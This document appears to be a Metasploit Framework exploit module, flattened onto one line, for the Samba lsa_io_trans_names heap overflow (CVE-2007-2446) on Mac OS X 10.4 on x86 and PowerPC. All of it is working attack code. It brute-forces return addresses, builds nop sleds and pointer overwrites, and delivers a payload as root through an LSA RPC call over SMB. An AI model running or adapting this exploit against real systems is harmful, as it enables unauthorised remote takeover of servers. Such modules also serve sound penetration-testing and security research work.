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## # $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba lsa_io_trans_names Heap Overflow', 'Description'=> %q{ This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the szone_free() to overwrite the size() or free() pointer in initial_malloc_zones structure. }, 'Author' => [ 'ramon', 'Adriano Lima <adriano@risesecurity.org>', 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9021 $', 'References' => [ ['CVE', '2007-2446'], ['OSVDB', '34699'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 1024, }, 'Platform' => 'osx', 'DefaultOptions' => { 'PrependSetresuid' => true, }, 'Targets'=> [ ['Mac OS X 10.4.x x86 Samba 3.0.10', { 'Platform'=> 'osx', 'Arch'=> [ ARCH_X86 ], 'Nops'=> 4 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0x01818000 }, 'Stop'=> { 'Ret' => 0x01830000 }, 'Step'=> 3351, }, } ], ['Mac OS X 10.4.x PPC Samba 3.0.10', { 'Platform'=> 'osx', 'Arch'=> [ ARCH_PPC ], 'Nops'=> 1600, 'Bruteforce' => { 'Start' => { 'Ret' => 0x01813000 }, 'Stop'=> { 'Ret' => 0x01830000 }, 'Step'=> 796, } } ], ['DEBUG', { 'Platform'=> 'osx', 'Arch'=> [ ARCH_X86 ], 'Nops'=> 4 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop'=> { 'Ret' => 0xaabbccdd }, 'Step'=> 0, } } ], ], 'DisclosureDate' => 'May 14 2007' )) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use", 'LSARPC']), ], self.class) end # Handle a strange byteswapping issue on PPC def ppc_byteswap(addr) data = [addr].pack('N') (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0] end def brute_exploit(target_addrs) if(not @nops) if (target['Nops'] > 0) print_status("Creating nop sled....") @nops = make_nops(target['Nops']) else @nops = '' end end print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) pipe = datastore['SMBPIPE'].downcase print_status("Connecting to the SMB service...") connect() smb_login() datastore['DCERPC::fake_bind_multi'] = false handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") num_entries= 256 num_entries2 = 257 # # First talloc_chunk # 16 bits align # 16 bits sid_name_use # 16 bits uni_str_len # 16 bits uni_max_len # 32 bits buffer # 32 bits domain_idx # buf = (('A' * 16) * num_entries) # Padding buf << 'A' * 4 # # Use the szone_free() to overwrite the size() pointer in # initial_malloc_zones structure. # size_pointer = 0x1800008 # Initial nops array nops = '' # x86 if (target.arch.include?(ARCH_X86)) # # We don't use the size() pointer anymore because it # results in a unexpected behavior when smbd process # is started by launchd. # free_pointer = 0x1800018 nop = "\x16" # # First talloc_chunk # 16 bits align # 16 bits sid_name_use # 16 bits uni_str_len # 16 bits uni_max_len # 32 bits buffer # 32 bits domain_idx # # First nop block buf = ((nop * 16) * num_entries) # # A nop block of 0x16 (pushl %ss) and the address of # 0x1800014 results in a jns instruction which when # executed will jump over the address written eight # bytes past our target address by szone_free() (the # sign flag is zero at the moment our target address is # executed). # # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379 # # This is the output of the sequence of xor operations # 0: 79 23 jns0x25 # 2: 96xchgl%eax,%esi # 3: 17popl %ss # 4: 16pushl%ss # 5: 16pushl%ss # 6: 16pushl%ss # 7: 16pushl%ss # 8: 14 00 adcb $0x0,%al # a: 80 01 16addb $0x16,(%ecx) # # This jump is needed because the ecx register does not # point to a valid memory location in free() context # (it is zero). # # The jump will hit our nop block which will be executed # until it reaches the payload. # # Padding nops buf << nop * 2 # Jump over the pointers buf << "\xeb\x08" # Pointers buf << [target_addrs['Ret']].pack('V') buf << [free_pointer - 4].pack('V') # # We expect to hit this nop block or the one before # the pointers. # buf << nop * (3852 - 8 - payload.encoded.length) # Payload buf << payload.encoded # Padding nops buf << nop * 1024 stub = lsa_open_policy(dcerpc) stub << NDR.long(0)# num_entries stub << NDR.long(0)# ptr_sid_enum stub << NDR.long(num_entries)# num_entries stub << NDR.long(0x20004)# ptr_trans_names stub << NDR.long(num_entries2) # num_entries2 stub << buf # PPC else # #The first half of the nop sled is an XOR encoded branch #instruction. The second half is a series of unencoded nop #instructions. The result is: # #> This is the decoded branch instruction #0x181c380:bl0x181c6a0 # #> The size pointer is written below this #0x181c384:.long 0x1800004 # #> Followed by the encoded branch sled #0x181c388:ba0x180365c #[ ... ] # #> The branch lands in the normal nop sled #0x181c6a0:andi. r17,r16,58162 #[ ... ] # #> Finally we reach our payload :-) # size_pointer = size_pointer - 4 sled = target['Nops'] jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N') nops = (jump * (sled / 8)) + @nops[0, sled / 8] addr_size = ppc_byteswap(size_pointer) addr_ret= ppc_byteswap(target_addrs['Ret']) # This oddness is required for PPC buf << [addr_size].pack('N') buf << [addr_ret ].pack('N')[2,2] buf << [addr_ret ].pack('N') # Padding buf << "A" * (256 - 10) stub = lsa_open_policy(dcerpc) stub << NDR.long(0)# num_entries stub << NDR.long(0)# ptr_sid_enum stub << NDR.long(num_entries)# num_entries stub << NDR.long(0x20004)# ptr_trans_names stub << NDR.long(num_entries2) # num_entries2 stub << buf stub << nops stub << payload.encoded end print_status("Calling the vulnerable function...") begin # LsarLookupSids dcerpc.call(0x0f, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else print_error("Error: #{e.class}: #{e}") end end handler disconnect end def lsa_open_policy(dcerpc, server="\\") stubdata = # Server NDR.uwstring(server) + # Object Attributes NDR.long(24) + # SIZE NDR.long(0)+ # LSPTR NDR.long(0)+ # NAME NDR.long(0)+ # ATTRS NDR.long(0)+ # SEC DES # LSA QOS PTR NDR.long(1)+ # Referent NDR.long(12) + # Length NDR.long(2)+ # Impersonation NDR.long(1)+ # Context Tracking NDR.long(0)+ # Effective Only # Access Mask NDR.long(0x02000000) res = dcerpc.call(6, stubdata) dcerpc.last_response.stub_data[0,20] end end |
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